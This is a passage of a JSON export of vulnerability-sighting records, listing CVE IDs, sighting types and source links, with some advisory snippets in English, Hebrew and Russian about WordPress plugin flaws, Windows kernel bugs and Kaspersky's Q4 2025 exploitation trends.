"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0809", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgusgjrk6m2x", "content": "", "creation_timestamp": "2026-03-12T16:18:07.121323Z"}, {"uuid": "e1f2f91e-4c19-4b6e-b7d4-eee1db7cc430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2012-0809", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/18436", "content": "", "creation_timestamp": "2012-01-31T00:00:00.000000Z"}, {"uuid": "0a2d9442-9ca9-46b0-abf1-f7c74aaac45b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-0809", "type": "seen", "source": "https://cert.pl/en/posts/2026/03/CVE-2026-0809/", "content": "", "creation_timestamp": "2026-03-12T10:55:00.000000Z"}, {"uuid": "3070d16e-1e35-400f-a134-6279aeafbbb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0800", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3md5ztzwz2a2c", "content": "", "creation_timestamp": "2026-01-24T10:44:07.501246Z"}, {"uuid": "dccb5e02-a057-41f3-81b4-b6da5481e619", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2010-0803", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/11280", "content": "", "creation_timestamp": "2010-01-28T00:00:00.000000Z"}, {"uuid": "372cdf19-124f-4733-a6fb-a86a7537877c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2018-0802", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1b9c43d9-fd15-4ff8-93a6-64204aa109fd", "content": "", "creation_timestamp": "2026-02-02T12:28:53.644288Z"}, {"uuid": "910f39f7-40c6-43bb-98e5-67641f029227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2019-0803", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/64c5a2b7-fcc4-4659-835b-83d0cdcc8809", "content": "", "creation_timestamp": "2026-02-02T12:28:52.214730Z"}, {"uuid": "7f4774b5-c5ca-4075-8d42-3826ca667c9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2019-0808", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/fd28ef50-3079-426e-8645-7be50d46c6d8", "content": "", "creation_timestamp": "2026-02-02T12:28:57.366657Z"}, {"uuid": "b9b7b857-090e-49d0-bfe1-f80e0b7971da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2010-0806", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/16590", "content": "", "creation_timestamp": "2010-12-14T00:00:00.000000Z"}, {"uuid": "a01b5b28-6932-4666-a44d-964a44a878bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2010-0806", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/11683", "content": "", "creation_timestamp": "2010-03-10T00:00:00.000000Z"}, {"uuid": "3874c34e-45f3-4b75-b91e-4ea35fd68000", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2009-0807", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/8092", "content": "", "creation_timestamp": "2009-02-23T00:00:00.000000Z"}, {"uuid": "bf50b621-bda8-4b81-805c-cb0f1c89dda3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2015-0802", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/37958", "content": "", "creation_timestamp": "2015-08-24T00:00:00.000000Z"}, {"uuid": "f33d701f-293f-4245-9279-7b973b21071d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2010-0801", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/33590", "content": "", "creation_timestamp": "2010-02-01T00:00:00.000000Z"}, {"uuid": "28c116ee-487c-43eb-8725-29ce614c3eec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2010-0800", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/11289", "content": "", "creation_timestamp": "2010-01-30T00:00:00.000000Z"}, {"uuid": "108e5e23-cb96-4675-88b4-c2fa82e05b9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2001-0803", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/16323", "content": "", "creation_timestamp": "2010-04-30T00:00:00.000000Z"}, {"uuid": "857f6371-2804-494d-ae06-d148081f75b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2010-0805", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/16567", "content": "", "creation_timestamp": "2010-04-30T00:00:00.000000Z"}, {"uuid": "f8cac3c4-7c0a-438f-946f-12e0cf531d5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2012-0809", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/25134", "content": "", "creation_timestamp": "2013-05-01T00:00:00.000000Z"}, {"uuid": "2d317382-612f-4e34-a040-44edfff884af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2013-0803", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/24549", "content": "", "creation_timestamp": "2013-02-26T00:00:00.000000Z"}, {"uuid": "282f8834-9656-4c96-b38e-9e06d799350e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "published-proof-of-concept", "source": "https://t.me/bug_bounty_channel/185", "content": "Hacktivity from nimia\n \nCross-protocol attack on TLS using SSLv2 (DROWN) (CVE-2016-0800)\n\nhttps://hackerone.com/reports/166629", "creation_timestamp": "2016-09-21T19:52:02.000000Z"}, {"uuid": "0c5e923c-b1a5-40f5-8731-61c528eb2b0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "exploited", "source": "https://t.me/CyberGovIL/381", "content": "\u05d1\u05ea\u05d0\u05e8\u05d9\u05da 12 \u05d1\u05de\u05e8\u05e5 \u05e4\u05e8\u05e1\u05de\u05d4 \u05de\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05db-64 \u05e2\u05d3\u05db\u05d5\u05e0\u05d9 \u05d0\u05d1\u05d8\u05d7\u05d4 \u05dc\u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d1\u05ea\u05d5\u05db\u05e0\u05d5\u05ea \u05e0\u05ea\u05de\u05db\u05d5\u05ea, \u05d0\u05e9\u05e8 17 \u05de\u05ea\u05d5\u05db\u05df \u05de\u05e1\u05d5\u05d5\u05d2\u05d5\u05ea \u05db\u05e7\u05e8\u05d9\u05d8\u05d9\u05d5\u05ea.\n\n\u05d9\u05d3\u05d5\u05e2 \u05e2\u05dc \u05e9\u05ea\u05d9 \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea (CVE-2019-0808 \u05d5- CVE-2019-0797) \u05d1-win32k \u05e9\u05de\u05e0\u05d5\u05e6\u05dc\u05d5\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc \u05dc\u05ea\u05e7\u05d9\u05e4\u05d5\u05ea \u05d5\u05e2\u05dc\u05d5\u05dc\u05d5\u05ea \u05dc\u05d0\u05e4\u05e9\u05e8 \u05dc\u05ea\u05d5\u05e7\u05e3 \u05d4\u05e2\u05dc\u05d0\u05ea \u05d4\u05e8\u05e9\u05d0\u05d5\u05ea \u05d5\u05d4\u05e8\u05e6\u05ea \u05e7\u05d5\u05d3 \u05d1\u05e8\u05de\u05ea \u05d4-Kernel.\n\n\u05d0\u05e8\u05d1\u05e2 \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05e4\u05d5\u05e8\u05e1\u05de\u05d5 \u05d8\u05e8\u05dd \u05d4\u05d5\u05e6\u05d0\u05ea \u05d4\u05e2\u05d3\u05db\u05d5\u05e0\u05d9\u05dd. \u05d4\u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d4\u05d7\u05de\u05d5\u05e8\u05d5\u05ea \u05d1\u05d9\u05d5\u05ea\u05e8 \u05e2\u05dc\u05d5\u05dc\u05d5\u05ea \u05dc\u05d0\u05e4\u05e9\u05e8 \u05dc\u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05d4\u05e4\u05e2\u05dc\u05ea \u05e7\u05d5\u05d3 \u05de\u05e8\u05d7\u05d5\u05e7 (RCE).\n\n\u05d0\u05d7\u05ea \u05d4\u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea (CVE-2019-0697) \u05d4\u05d9\u05e0\u05d4 \u05d1\u05e8\u05db\u05d9\u05d1 \u05d4- DHCP client, \u05d5\u05de\u05d0\u05e4\u05e9\u05e8\u05ea \u05dc\u05ea\u05d5\u05e7\u05e3 \u05d4\u05e8\u05e6\u05ea \u05e7\u05d5\u05d3 \u05e2\u05dc \u05d4\u05e2\u05de\u05d3\u05d4 \u05d4\u05de\u05d5\u05ea\u05e7\u05e4\u05ea \u05d1\u05d0\u05de\u05e6\u05e2\u05d5\u05ea \u05de\u05e9\u05dc\u05d5\u05d7 \u05ea\u05d2\u05d5\u05d1\u05d5\u05ea DHCP \u05e1\u05e4\u05e6\u05d9\u05e4\u05d9\u05d5\u05ea.", "creation_timestamp": "2019-03-13T10:23:16.000000Z"}, {"uuid": "6ec325e4-9796-464b-bfeb-d42153888096", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0805", "type": "seen", "source": "https://t.me/cvedetector/18279", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0805 - WordPress Mortgage Calculator Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2025-0805 \nPublished : Feb. 18, 2025, 5:15 a.m. | 2\u00a0hours, 15\u00a0minutes ago \nDescription : The Mortgage Calculator / Loan Calculator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'mlcalc' shortcode in all versions up to, and including, 1.5.20 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-18T09:16:49.000000Z"}, {"uuid": "94eafede-535f-4217-a99e-d5c41c29eb22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0801", "type": "seen", "source": "https://t.me/cvedetector/19120", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0801 - RateMyAgent WordPress CSRF\", \n  \"Content\": \"CVE ID : CVE-2025-0801 \nPublished : Feb. 28, 2025, 5:15 a.m. | 44\u00a0minutes ago \nDescription : The RateMyAgent Official plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.0. This is due to missing or incorrect nonce validation on the 'rma-settings-wizard'. This makes it possible for unauthenticated attackers to update the plugin's API key via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-28T07:49:35.000000Z"}, {"uuid": "366ea796-a252-4497-882c-d18bc86d766f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0808", "type": "seen", "source": "https://t.me/cvedetector/17811", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0808 - Houzez Property Feed CSRF\", \n  \"Content\": \"CVE ID : CVE-2025-0808 \nPublished : Feb. 12, 2025, 4:15 a.m. | 17\u00a0minutes ago \nDescription : The Houzez Property Feed plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.4.21. This is due to missing or incorrect nonce validation on the \"deleteexport\" action. This makes it possible for unauthenticated attackers to delete property feed exports via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T05:59:56.000000Z"}, {"uuid": "17ddf33d-50d3-45d2-aa44-90db7ac35085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/true_secator/7978", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432 \u0441\u0432\u043e\u0435\u043c \u043d\u043e\u0432\u043e\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442, \u0447\u0442\u043e 4 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2025 \u0441\u0442\u0430\u043b \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043d\u0430\u0441\u044b\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0439 \u0433\u0440\u043e\u043c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u0445 \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445.\n\n\u0410\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044f \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438 \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u041b\u041a \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0432 \u044d\u0442\u043e\u043c \u043f\u043b\u0430\u043d\u0435 \u041e\u0421 Linux \u0441\u0442\u0430\u043b\u0430 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0430. \u041d\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u0433\u043e\u0434\u0430 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u044b \u0432\u0441\u0435\u0445 \u0430\u0442\u0430\u043a \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c\u0438 \u0434\u043b\u044f Linux \u043e\u0442 \u0441\u0443\u043c\u043c\u0430\u0440\u043d\u044b\u0445 \u0433\u043e\u0434\u043e\u0432\u044b\u0445 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u0439.\u00a0\n\n\u0412 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0442\u0430\u043a\u043e\u0433\u043e \u0432\u0441\u043f\u043b\u0435\u0441\u043a\u0430 \u0441\u0442\u0430\u043b\u043e \u0431\u044b\u0441\u0442\u0440\u043e\u0440\u0430\u0441\u0442\u0443\u0449\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Linux.\n\n\u041a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u043a\u0430\u0440\u0442\u0438\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0438\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0438 \u0448\u0438\u0440\u043e\u043a\u043e\u0437\u0430\u0445\u0432\u0430\u0442\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \u0412 \u043e\u0431\u043e\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 - \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0430 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0430.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435\u0438\u0437\u0431\u0438\u0440\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a:\n- \u043f\u043e\u0434 \u043f\u0440\u0438\u0446\u0435\u043b\u043e\u043c \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u0442\u0430\u0440\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b Linux, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u044e\u0442\u0441\u044f: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Dirty Pipe, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Netfilter (CVE-2022-0847, CVE-2019-13272, CVE-2021-22555, CVE-2023-32233);\n- \u0434\u043b\u044f \u041e\u0421 Windows \u0442\u0435\u043c\u043f\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0441\u043d\u0438\u0437\u0438\u043b\u0438\u0441\u044c \u0434\u043e \u0441\u0430\u043c\u043e\u0433\u043e \u043d\u0438\u0437\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0432 2025 \u0433\u043e\u0434\u0443, \u043d\u043e \u043e\u043d\u0438 \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u044e\u0442 \u043d\u0430\u0447\u0430\u043b\u043e 2024-\u0433\u043e, \u0434\u043e\u043c\u0438\u043d\u0438\u0440\u0443\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0435 CVE-2017-11882 \u0438 CVE-2018-0802 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor \u0438\u0437 Microsoft Office, CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad.\n\n\u041a\u0430\u043a \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445, \u0442\u0430\u043a \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u043f\u043e\u0434 \u0443\u0434\u0430\u0440 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u0430\u0440\u0445\u0438\u0432\u0430\u0442\u043e\u0440\u0430\u0445. \u0412 2025 \u0433\u043e\u0434\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 WinRAR (CVE-2023-38831, CVE-2025-6218 \u0438 -8088) \u0438 7-Zip (CVE-2025-11001).\n\n\u041f\u043e \u0447\u0430\u0441\u0442\u0438 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a:\n- \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0441\u0432\u0435\u0436\u0438\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u043e\u043b\u0433\u043e\u0434\u0430;\n- \u0441 \u0433\u0438\u0433\u0430\u043d\u0442\u0441\u043a\u0438\u043c \u043e\u0442\u0440\u044b\u0432\u043e\u043c \u0434\u043e\u043c\u0438\u043d\u0438\u0440\u0443\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f React4shell, \u0442\u0430\u043a\u0436\u0435 \u0432 \u0442\u0440\u043e\u0439\u043a\u0435 \u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u0442\u0430\u043a\u0436\u0435 CVE-2025-61882 \u0432 Oracle E-Business Suite \u0438 CVE-2025-8088 \u0432 WinRAR;\n- \u043c\u043d\u043e\u0433\u0438\u0435 CVE \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u0432 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u0435 \u043d\u0430\u0434\u043e\u043b\u0433\u043e, \u0434\u043b\u044f \u0438\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435;\n- \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u044b \u043d\u0430 \u0431\u0430\u0437\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 Silver, Mythic, Havoc \u0438 Metasploit.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430, \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 \u041b\u041a.", "creation_timestamp": "2026-03-10T15:26:05.000000Z"}, {"uuid": "ba0610b0-acea-4553-97ff-0a69f275a030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/kasperskyb2b/2103", "content": "\u2755 \u0422\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438 \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: \u041e\u0421 Linux \u0441\u0442\u0430\u043b\u0430 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0430 \n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0438\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0430\u0445 \u0432 4 \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430.  \u041a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u043a\u0430\u0440\u0442\u0438\u043d\u0430 \u0441\u0438\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0438 \u0448\u0438\u0440\u043e\u043a\u043e\u0437\u0430\u0445\u0432\u0430\u0442\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u043d\u043e \u0438 \u0442\u0430\u043c, \u0438 \u0442\u0430\u043c \u043d\u0435\u0441\u043a\u0443\u0447\u043d\u043e. \n\n\u041d\u0435\u0438\u0437\u0431\u0438\u0440\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 